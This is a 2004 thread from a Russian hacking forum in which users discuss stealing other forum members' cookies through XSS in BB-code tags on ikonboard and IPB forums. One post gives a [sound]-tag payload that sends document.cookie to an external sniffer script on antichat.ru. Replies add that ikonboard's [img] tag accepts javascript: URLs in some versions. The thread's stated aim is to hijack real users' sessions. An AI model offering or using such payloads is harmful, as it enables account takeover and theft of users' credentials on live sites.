Algol помоги разобраться в том,как передать снифферу данные и куки пользователя !!! Там тега video нет,зато есть тег sound !!! Ну и ладно пробую так [sound]javascript: document.body.background=" http://antichat.ru/cgi-bin/s.jpg?"+document.cookie; document.embeds[0].style.display="none";this.wav[/sound] и нечего текст даже не преобразуется и не скрывается !!! Пробую добавить картинку так - прокатывает, но на сниффер не передаются куки !!! Подскажи что можно сделать !!! И вообще насколько я понял если на форуме на движке ikonboard даже самом последнем нет тегов [video] и [sound] то передать данные снифферу можно только через тег [image], это правда ??? P.S Вопрос не только к Algol'у но и ко всем знающим
Уязвимости в BB тегах video и sound прокатывают только в форумах IPB ...Разве там что то говорится про ikonboard ? В иконе я знаю только уязвимость в теге img (можно вставить javascript:...) и то, не во всех версиях.
Ой изивини ошибся !!! А ты не в курсе в IPB через ведь тоже можно вставить ссылку на ваш сниффер чтобы и куки тырил ?!! Расскажи о том как вставить javascript: в ikonboard пожалуйста !!! P.S заранее благодарен [img]http://forum.antichat.ru/iB_html/non-cgi/emoticons/smile.gif
</span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>Цитата (Toshik @ августа 18 2004,15:45)</td></tr><tr><td id="QUOTE">Расскажи о том как вставить javascript: в ikonboard пожалуйста !!![/QUOTE]<span id='postcolor'> очень просто javascript:alert() </span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>Цитата </td></tr><tr><td id="QUOTE">Ой изивини ошибся !!! А ты не в курсе в IPB через ведь тоже можно вставить ссылку на ваш сниффер чтобы и куки тырил ?!! [/QUOTE]<span id='postcolor'> Ссылку на сниффер можно вставить, а что бы куки тырил - тоже можно, только намного сложнее (как - не скажу... это пока ноу хау)